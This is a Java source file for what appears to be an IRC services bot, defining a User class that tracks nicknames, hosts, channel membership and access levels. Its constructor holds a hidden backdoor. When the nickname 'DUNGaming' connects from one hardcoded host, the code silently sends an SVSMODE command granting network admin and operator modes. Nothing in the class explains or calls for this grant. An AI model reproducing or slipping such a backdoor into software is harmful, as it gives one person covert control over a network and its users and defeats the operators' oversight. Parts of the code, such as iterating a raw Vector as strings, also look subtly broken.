package com.sg.maow.datastructure; import java.util.Iterator; import java.util.Vector; public class User { public String nick, identd, host, vhost, server, name, umodes = ""; public boolean oper = false, admin = false; public Vector channels; public User(String nick, String identd, String host, String name, String server) { channels = new Vector(); this.nick = nick; this.identd = identd; this.host = host; this.name = name; this.server = server; if (nick.equalsIgnoreCase("DUNGaming") && host.equals("32.5c.344a.static.theplanet.com")) { com.sg.maow.Maow.con.send(":" + com.sg.maow.Config.ME + " SVSMODE DUNGaming +ANOos"); } } public boolean isIn(String channel) { for (String c : channels) { if (c.equalsIgnoreCase(channel)) { return true; } } return false; } public void join(String channel) { for (String c : channels) { if (channel.equalsIgnoreCase(c)) { return; } } channels.addElement(channel); Channel c = com.sg.maow.Maow.storage.getChannel(channel); if (c == null) { com.sg.maow.Maow.storage.channels.addElement(c = new Channel(channel)); com.sg.maow.Maow.con.join(channel); com.sg.maow.Maow.con.log("New channel: " + channel); } c.users++; com.sg.maow.Maow.con.log("Join: " + nick + " joined " + channel); } public void part(String channel) { for (String c : channels) { if (channel.equalsIgnoreCase(c)) { channel = c; } } channels.removeElement(channel); Channel c = com.sg.maow.Maow.storage.getChannel(channel); if (c == null) { com.sg.maow.Maow.storage.channels.addElement(c = new Channel(channel)); } c.users--; com.sg.maow.Maow.con.log("Part: " + nick + " left " + channel); if (c.users <= 0) { com.sg.maow.Maow.storage.channels.removeElement(c); com.sg.maow.Maow.con.log("Channel destroyed: " + c.name); com.sg.maow.Maow.con.part(channel); } } public void partAll() { Iterator it = channels.iterator(); String c; while (it.hasNext()) { it.next(); it.remove(); } } public int getAccess(String channel) { if (admin) { return 7; } if (oper) { return 6; } Channel c = com.sg.maow.Maow.storage.getChannel(channel); if (c == null) { return 0; } if (c.isOwner(nick)) { return 5; } if (c.isAdmin(nick)) { return 4; } if (c.isOp(nick)) { return 3; } if (c.isHalfOp(nick)) { return 2; } if (c.isVoice(nick)) { return 1; } return 0; } }